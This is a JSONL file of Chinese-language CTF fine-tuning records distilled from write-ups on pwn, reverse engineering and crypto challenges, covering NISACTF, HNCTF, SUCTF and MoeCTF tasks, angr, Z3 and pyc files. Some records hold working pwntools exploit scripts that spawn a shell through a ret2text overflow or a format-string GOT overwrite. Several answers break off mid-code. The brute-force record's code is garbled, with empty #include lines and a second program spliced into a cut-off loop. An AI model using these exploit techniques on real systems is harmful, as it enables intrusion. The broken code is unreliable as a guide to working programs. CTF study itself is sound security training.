{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-1cbf16a5bbcfab9c4cae", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“[[NISACTF 2022]UAF]”部分，提炼一条适合 SFT 的中文技术讲解样本（第 1 段）。", "role": "user"}, {"content": "出处：Pwn：Stack / [[NISACTF 2022]UAF]（第 1 段）\n关键词：PIE、input、puts、UAF、NISACTF、else、page、RELRO、create、LABEL_13\n蒸馏要点：\n- [[NISACTF 2022]UAF]\n- 题型：存在函数指针\n- 发现为32位程序，并且没有`PIE`保护。\n- 分析`main`函数\n- 分析主函数发现为经典菜单程序，通过选择执行相应的功能函数。\n- 接下来我们逐个功能函数分析\n- 首先我们来分析`create`函数，当输入的数字为1时执行\n可用于训练的标准回答：\n### [[NISACTF 2022]UAF]\n\n> [[NISACTF 2022]UAF]\n\n题型：存在函数指针\n\n1. 查保护\n\n发现为32位程序，并且没有`PIE`保护。\n\n```shell\n➜  [NISACTF 2022]UAF checksec ./pwn\n    Arch:     i386-32-little\n    RELRO:    Partial RELRO\n    Stack:    Canary found\n    NX:       NX enabled\n    PIE:      No PIE (0x8048000)\n```\n\n2. 分析\n\n分析`main`函数\n\n分析主函数发现为经典菜单程序，通过选择执行相应的功能函数。\n\n接下来我们逐个功能函数分析\n\n```c\nint __cdecl __noreturn main(int argc, const char **argv, const char **envp)\n{\n  int input[4]; // [esp+8h] [ebp-10h] BYREF\n  input[1] = __readgsdword(0x14u);\n  setbuf(stdin, 0);\n  setbuf(stdout, 0);\n  while ( 1 )\n  {\n    while ( 1 )\n    {\n      puts(\"1.create\");\n      puts(\"2.edit\");\n      puts(\"3.delete\");\n      puts(\"4.show\");\n      putchar(58);\n      __isoc99_scanf(\"%d\", input);\n      if ( input[0] != 2 )\n        break;\n      edit();\n    }\n    if ( input[0] > 2 )\n    {\n      if ( input[0] == 3 )\n      {\n        del();\n      }\n      else if...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::6d99708811a9c904", "original_line": 83, "original_split": "validation", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "[[NISACTF 2022]UAF]", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "6d99708811a9c904", "source_split": "validation", "split": "train", "split_group_key": "9d42472d655134acef80f7ed", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-1cf9341b02f859b8ae85", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《README：md5》中“md5”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《README：md5》的“md5”。\n关联知识点：\n- C语言实现的MD5算法源码\n代码片段：\n```\nusage:\n    ./md5 -f file ...\n    ./md5 string ...\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["ctf"], "original_id": "chatml::train::distilled_training_data::train::be748edcf28fa98b", "original_line": 1010, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "md5", "source": "例题/HASH/README.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "be748edcf28fa98b", "source_split": "train", "split": "train", "split_group_key": "0fce79e3d59b9e3ae184fa95", "tags": ["ctf"], "title": "README：md5", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-1d9db87449b863fbc3f8", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《RSA与大数运算》中“例题 [SUCTF2019] SignIn”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《RSA与大数运算》的“例题 [SUCTF2019] SignIn”。\n语言/类型：python\n关联知识点：\n- 反编译分析，发现程序使用了 gmp 大数运算库。\n- 根据`gmpz_powm`函数可以猜测程序为 RSA 加密校验程序，`65537`为 RSA 公钥的常用指数。\n- 最后参与`powm`运算的`v4`变量初始化的字符串应该就是模数，剩下的初始化`v7`变量的字符串自然就是密文了。\n- 通过工具yafu分解模数来得到$p$和$q$。\n- 通过$p$、$q$计算欧拉函数值，然后和公钥指数$e$计算私钥$d$。\n代码片段：\n```python\nfrom Crypto.Util.number import *\n\nn = 103461035900816914121390101299049044413950405173712170434161686539878160984549\ne = 65537\nc = int(\"ad939ff59f6e70bcbfad406f2494993757eee98b91bc244184a377520d06fc35\", 16)\np=282164587459512124844245113950593348271\nq=366669102002966856876605669837014229419\n\nphi = (p - 1) * (q - 1)\nd = inverse(e, phi)\nm = pow(c, d, n)\n\nprint(long_to_bytes(m))\n#suctf{Pwn_@_hundred_years}\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::9da5bd6b4d11224a", "original_line": 1004, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "例题 [SUCTF2019] SignIn", "source": "RSA与大数运算.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "9da5bd6b4d11224a", "source_split": "train", "split": "train", "split_group_key": "fe14f41374072bb852944b5e", "tags": ["pwn", "crypto", "ctf-method"], "title": "RSA与大数运算", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-1dbcdc0390c6f8aaccd0", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《暴力破解》中“Windows”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《暴力破解》的“Windows”。\n语言/类型：cpp\n关联知识点：\n- 2024 MoeCTF BlackHole\n- `LoadLibrary`然后调用函数进行暴力破解\n代码片段：\n```cpp\n#include\n#include\n\n\nvoid bruteForce()\n{\n    HMODULE h = NULL;\n    h = LoadLibraryA(\"you_cannot_crack_me.vmp.dll\");\n    if (!h)\n    {\n    printf(\"failed to load dll...\\n\");\n        return;\n    }\n    typedef int(*checkFlag)(char*, size_t);\n    char* cracking = (char*)malloc(16);\n    if (!cracking) return;\n        cracking[0] = 'm';\n        cracking[1] = 'o';\n        cracking[2] = 'e';\n        cracking[3] = 'c';\n        cracking[4] = 't';\n        cracking[5] = 'f';\n        cracking[6] = '{';\n        cracking[7] = 'c';\n        cracking[12] = 'm';\n        cracking[14] = '}';\n        cracking[15] = '\\0';  checkFlag check = (checkFlag)GetProcAddress(h, \"checkMyFlag\");\n        for (char b = 'a'; b\n#include\n#include\n#include      // for dlopen, dlsym\n#include\n\n#define FLAG_LEN 16\n\ntypedef int (*check_flag_t)(char *, size_t);\n\nvoid brute_force() {\n    void *handle;\n    check_flag_t check_flag;\n    char *error;\n\n    // 加载动态库\n    handle = dlopen(\"./libcrackme.so\", RTLD_LAZY);\n    if (!handle) {\n        fprintf(stderr, \"[-] dlopen failed: %s\\n\", dlerror());\n        exit(EXIT_FAILURE);\n    }\n\n    // 清除错误\n    dlerror();\n\n    // 获取函数地址\n    check_flag = (check_flag_t)dlsym(handle, \"check_flag\");\n    if ((error = dlerror()) != NULL)  {\n        fprintf(stderr, \"[-] dlsym failed: %s\\n\", error);\n        exit(EXIT_FAILURE);\n    }\n\n    // 初始化已知 flag 模板\n    char flag[FLAG_LEN + 1] = \"moectf{cxxxxmy}\";  // 你要爆破的是 xxxx 和 y\n    flag[FLAG_LEN] = '\\0';\n\n    const char charset[] = \"abcdefghijklmnopqrstuvwxyz0123456789\";\n    size_t charset_len = strlen(charset);\n\n    // 暴力爆破 5 位未知字符（第8~11,13）\n    for (in\n...\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::92ae5dbff170ae61", "original_line": 805, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "Windows", "source": "例题/爆破/暴力破解.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "92ae5dbff170ae61", "source_split": "train", "split": "train", "split_group_key": "f60677568c539dcd3a8777c6", "tags": ["pwn", "reverse", "ctf-method"], "title": "暴力破解", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-1e386522d3eb2d3beac4", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《VM 指令虚拟化》的“解题方法”部分，提炼一条适合 SFT 的中文技术讲解样本（第 2 段）。", "role": "user"}, {"content": "出处：VM 指令虚拟化 / 解题方法（第 2 段）\n关键词：opcode\n可用于训练的标准回答：\n```python\nopcode=[0x01, 0x03, 0x03, 0x05, 0x00, 0x00, 0x11, 0x00, 0x00, 0x01, 0x01, 0x11, 0x0C, 0x00, 0x01, 0x0D, 0x0A, 0x00, 0x01, 0x03, 0x01, 0x05, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x01, 0x02, 0x00, 0x01, 0x00, 0x11, 0x0C, 0x00, 0x02, 0x0D, 0x2B, 0x00, 0x14, 0x00, 0x02, 0x01, 0x01, 0x61, 0x0C, 0x00, 0x01, 0x10, 0x1A, 0x00, 0x01, 0x01, 0x7A, 0x0C, 0x00, 0x01, 0x0F, 0x1A, 0x00, 0x01, 0x01, 0x47, 0x0A, 0x00, 0x01, 0x01, 0x01, 0x01, 0x06, 0x00, 0x01, 0x0B, 0x24, 0x00, 0x01, 0x01, 0x41, 0x0C, 0x00, 0x01, 0x10, 0x24, 0x00, 0x01, 0x01, 0x5A, 0x0C, 0x00, 0x01, 0x0F, 0x24, 0x00, 0x01, 0x01, 0x4B, 0x0A, 0x00, 0x01, 0x01, 0x01, 0x01, 0x07, 0x00, 0x01, 0x01, 0x01, 0x10, 0x09, 0x00, 0x01, 0x03, 0x01, 0x00, 0x03, 0x00, 0x00, 0x01, 0x01, 0x01, 0x06, 0x02, 0x01, 0x0B, 0x0B, 0x00, 0x02, 0x07, 0x00, 0x02, 0x0D, 0x00, 0x02, 0x00, 0x00, 0x02, 0x05, 0x00, 0x02, 0x01, 0x00, 0x02, 0x0C, 0x00, 0x02, 0x01, 0x00,...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 1, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["reverse", "ctf-method", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::ca6e37746f8316f7", "original_line": 79, "original_split": "validation", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "解题方法", "source": "VM 指令虚拟化.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "ca6e37746f8316f7", "source_split": "validation", "split": "train", "split_group_key": "d685f0e8228e0ed303425bc8", "tags": ["reverse", "ctf-method"], "title": "VM 指令虚拟化", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-1e7a3fd91cc321066c8e", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“符号执行原理”？请用《Angr：Angr符号执行》中的内容回答。", "role": "user"}, {"content": "1. 定义：符号执行（Symbolic Execution）是一种程序分析技术，通过将程序输入替换为符号变量，探索程序的所有可能路径，并生成路径约束条件进行求解，从而帮助发现漏洞、验证程序正确性或生成测试用例。\n2. 核心思想：通过将程序的输入抽象为符号变量，追踪这些变量在程序中的操作，并通过生成路径条件来验证各条路径的可行性。这种方法有助于检测潜在的错误和漏洞，并能够覆盖更多的执行路径，从而提高程序分析的全面性和准确性。\n3. 什么是符号执行，一般我们运行一个程序需要给程序输入内容，直接输入内容后程序执行。这属于传统执行的使用实际的具体值来运行程序，而符号执行使用符号值来运行程序。\n4. 符号执行的三个关键点：\n5. 符号执行的关键在于：\n6. 符号化输入：将程序的输入替换为符号变量。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::34301b87b8c98da4", "original_line": 677, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "符号执行原理", "source": "Angr.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "34301b87b8c98da4", "source_split": "train", "split": "train", "split_group_key": "9276f8722cf6afb273816d98", "tags": ["reverse"], "title": "Angr：Angr符号执行", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-1ef642790cc0382483fb", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“2024极客大挑战 blastingmaster”？请用《Hash 类算法》中的内容回答。", "role": "user"}, {"content": "1. 分析主函数代码，发现读取了输入并去除换行符。然后由`byte_42DE`作为标志决定是否执行`sub_1464`函数，函数参数为我们输入的内容。然后再对指定大小内存进行比较检查对错。\n2. 根据以上逻辑我们可以判断程序默认是执行`sub_1464`函数的，这个函数极可能就是加密函数。而`unk_2020`以及`unk_4060`可能就是存储密文的变量以及存储加密结果的变量。`dword_4040`很明显就是比较长度了。\n3. 我们先根据代码逻辑进行函数及变量重命名方便理解。\n4. 接下来我们首先使用 findcrypt 进行算法特征查找，但是最后 findcrypt 并没有找到算法特征。\n5. 但是我们在函数窗口发现了算法特征，可以看到动态链接函数中的 MD5 字样。我们可以由此判断`encrypt`加密算法是 MD5 算法。\n6. 进入`encrypt`函数分析，可以看到代码逻辑非常乱。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::9b51e8ecb36a61ab", "original_line": 958, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "2024极客大挑战 blastingmaster", "source": "Hash 类算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "9b51e8ecb36a61ab", "source_split": "train", "split": "train", "split_group_key": "2d33fb77c04a8d86e75745a4", "tags": ["crypto", "ctf-method"], "title": "Hash 类算法", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-1f2c2b5ab8136183d7fc", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“[HNCTF 2022 WEEK2]fmtstrlevel2”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“[HNCTF 2022 WEEK2]fmtstrlevel2”。\n语言/类型：python\n关联知识点：\n- 64位格式化字符串，got表可写\n- 第一次泄露libc基址和劫持`fini_array`为main\n- 程序自带的puts里有`;sh`，`;`分隔符，如果劫持puts的got表为system，则可以getshell\n代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\nlibc=ELF(\"./libc-2.31.so\")\n\nfini_array=0x4031f0\nru(\"ID\\n\")\n#0x11为泄露的libc偏移地址+aaa的长度，14+3=17\ns(b'%45$paaa' + fmtstr_payload(7, {fini_array:elf.sym.main},numbwritten = 0x11))\n\naddr=int(r(14),16)\nprint(hex(addr))\nbase=addr-libc.symbols[\"__libc_start_main\"]-243\n#base=addr-0x1f12e8\nsystem=base+libc.sym.system\nfmt=fmtstr_payload(6,{elf.got.puts:system})\nsla(b'ID\\n',fmt)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::22832060e80fa99b", "original_line": 956, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "[HNCTF 2022 WEEK2]fmtstrlevel2", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "22832060e80fa99b", "source_split": "train", "split": "train", "split_group_key": "68d119c2a259294f620d076b", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-1f540a47e40fd27a2d3e", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“给寄存器赋值一个具体值 123”？请用《Angr：Angr符号执行》中的内容回答。", "role": "user"}, {"content": "1. state.regs.rdi = 123\n2. state.regs.get('reg_name')\n3. setattr(state.regs, 'reg_name', value)\n4. address = 0x401234\n5. size_in_bytes = 16\n6. state.memory.store(address, state.solver.BVS('mem', 8 * size_in_bytes))", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::fcdbdb2732b70111", "original_line": 725, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "给寄存器赋值一个具体值 123", "source": "Angr.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "fcdbdb2732b70111", "source_split": "train", "split": "train", "split_group_key": "a25d3a077b0fc85c17a4f92c", "tags": ["reverse"], "title": "Angr：Angr符号执行", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-1fafa9b003e58dd2a765", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“[NISACTF 2022\\]ezstack”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / [NISACTF 2022\\]ezstack\n关键词：p32、sys、payload、NISACTF、pwn、ezstack、ret2text、bin、exp、import\n蒸馏要点：\n- 32位，利用plt表函数和/bin/sh构造栈\n可用于训练的标准回答：\n### [NISACTF 2022\\]ezstack\n\n#ret2text #32位\n32位，利用plt表函数和/bin/sh构造栈\n**exp**\n```python\nfrom pwn import *\n\nio=process(\"./pwn\")\nsys=0x8048512\nsh=0x804a024\n#payload=b'a'*(72+4)+p32(sys)+p32(0)+p32(sh)\npayload=b'a'*(72+4)+p32(sys)+p32(sh)\nio.sendline(payload)\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::85b12cf8dc7b99db", "original_line": 962, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "[NISACTF 2022\\]ezstack", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "85b12cf8dc7b99db", "source_split": "train", "split": "train", "split_group_key": "79b15e88b9232d8196bf7715", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-2121655fcba0f9fea4a2", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“简介”？请用《SMC自修改代码》中的内容回答。", "role": "user"}, {"content": "1. 自修改代码（SMC, Self Modifying Code）是在程序执行过程中修改其自身指令的技术。通常，这种做法旨在通过减少指令路径长度来提高性能，或者为了避免重复代码，从而简化维护。自修改代码一般是有意进行的，目的是优化或保护程序的运行，而不是由于错误导致的意外修改。\n2. 在逆向工程中，自修改代码通常表现为大量的无序代码，未被执行的部分无法直接分析。通过动态修改代码或数据，程序能够在运行时自我解密，防止静态分析工具的破解。这种技术常用于动态代码加密中，旨在通过修改代码来阻止逆向分析，直到程序执行到相应时刻才会恢复正常的可执行代码，从而达到反调试、反逆向的效果。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf"], "original_id": "chatml::train::distilled_training_data::train::5739280348a810c3", "original_line": 678, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "简介", "source": "SMC自修改代码.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "5739280348a810c3", "source_split": "train", "split": "train", "split_group_key": "3b0489048c7da61ff67d8de4", "tags": ["reverse", "crypto"], "title": "SMC自修改代码", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-2157bb9aa085f3f18ba1", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "请将《Pyc：pyc文件》蒸馏成模型训练用的知识卡片，要求覆盖主题、知识结构、关键术语和核心要点。", "role": "user"}, {"content": "主题：Pyc：pyc文件\n领域标签：reverse, crypto, ctf-method\n知识结构：创建及使用 -> 文件结构 -> 0-4 字节是 MAGICNUMBER -> 4 ~ 12 字节是 4 个 \\x00 -> 8 ~ 12 字节是 pyc 的写入时间（小端存储），一个时间戳 -> pyc 文件内容 -> 生成 pyc 文件 -> 然后加载生成的 pyc 文件 -> 逆向工具 -> 普通打包 -> 使用key参数打包 -> 反汇编\n关键术语：LOAD_CONST、test、pyc、LOAD_NAME、import、LOAD_FAST、STORE_NAME、CALL_FUNCTION、STORE_FAST、BUILD_LIST、BUILD_SLICE、AES、LOAD_GLOBAL、pyinstaller、key、inf\n核心要点：\n- pyc 文件是 python 在编译 py 文件过程中出现的主要中间过程文件，是一种二进制文件，是一种bytecode。\n- 我们可以通过 py_compile 模块来生成 pyc 文件，或者通过 python -m test.py 命令来生成 pyc 文件：\n- 两种操作都会在当前目录下新建一个 `__pycache__` 目录，其中存放着 test.cpython-版本号.pyc。\n- 如果有一个现成的pyc 文件，如何导入它。\n- 先写个`test.py`\n- 我们可以通过 py_compile 模块来生成 pyc 文件。\n- 或者之间通过命令行 python -m test.py 生成 pyc。\n- 两种操作都会在当前目录下新建一个`__pycache__`目录，其中存放着`test.cpython-`版本号`.pyc`。\n- 如果有一个现成的`pyc`文件，要如何导入它呢？\n- pyc 文件在创建的时候都会往里面写入如下内容：", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::test::distilled_training_data::test::eb5e2198e0009168", "original_line": 11, "original_split": "test", "record_family": "sft_chatml", "record_type": "article_knowledge_card", "section": "article_overview", "source": "Pyc.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "eb5e2198e0009168", "source_split": "test", "split": "train", "split_group_key": "29f78ef0d1a562769d70099a", "tags": ["reverse", "crypto", "ctf-method"], "title": "Pyc：pyc文件", "type": "article_knowledge_card"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-2330834b51e40e451b22", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Z3》的“变量表示”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Z3 / 变量表示\n关键词：- Real-实数型、- BitVec-向量、只有向量类型可以进行位运算（异或，左右移位等）\n\n- Bool、python\np=z3.Bool(name='p')、- 整型宇实数类型变量之间可以互相进行转换、import、BitVec、Real、Bool、ToReal\n蒸馏要点：\n- Real-实数型\n- BitVec-向量\n- 只有向量类型可以进行位运算（异或，左右移位等）\n- 整型宇实数类型变量之间可以互相进行转换\n可用于训练的标准回答：\n### 变量表示\n\n- Int-整数型\n\n```python\nfrom z3 import *\na=Int('a')#声明单个整型变量\na,b=Ints('a b')#声明多个整型变量\n```\n\n- Real-实数型\n\n```python\nfrom z3 import *\na=Real('a')#声明单个实性变量\na,b=Reals('a b')\n```\n\n- BitVec-向量\n\n```python\nfrom z3 import *\na=BitVec('a',8)#声明单个8位的变量\na,b=BitVec('a b',8)#声明多个8位的变量\n```\n\n只有向量类型可以进行位运算（异或，左右移位等）\n\n- Bool\n\n```python\np=z3.Bool(name='p')\n```\n\n- 整型宇实数类型变量之间可以互相进行转换\n\n```python\n>>> z3.ToReal(x)\nToReal(x)\n>>> z3.ToInt(y)\nToInt(y)\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::c8e620270ec9388e", "original_line": 670, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "变量表示", "source": "Z3.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "c8e620270ec9388e", "source_split": "train", "split": "train", "split_group_key": "e80594886a99c568b516cd39", "tags": ["reverse"], "title": "Z3", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
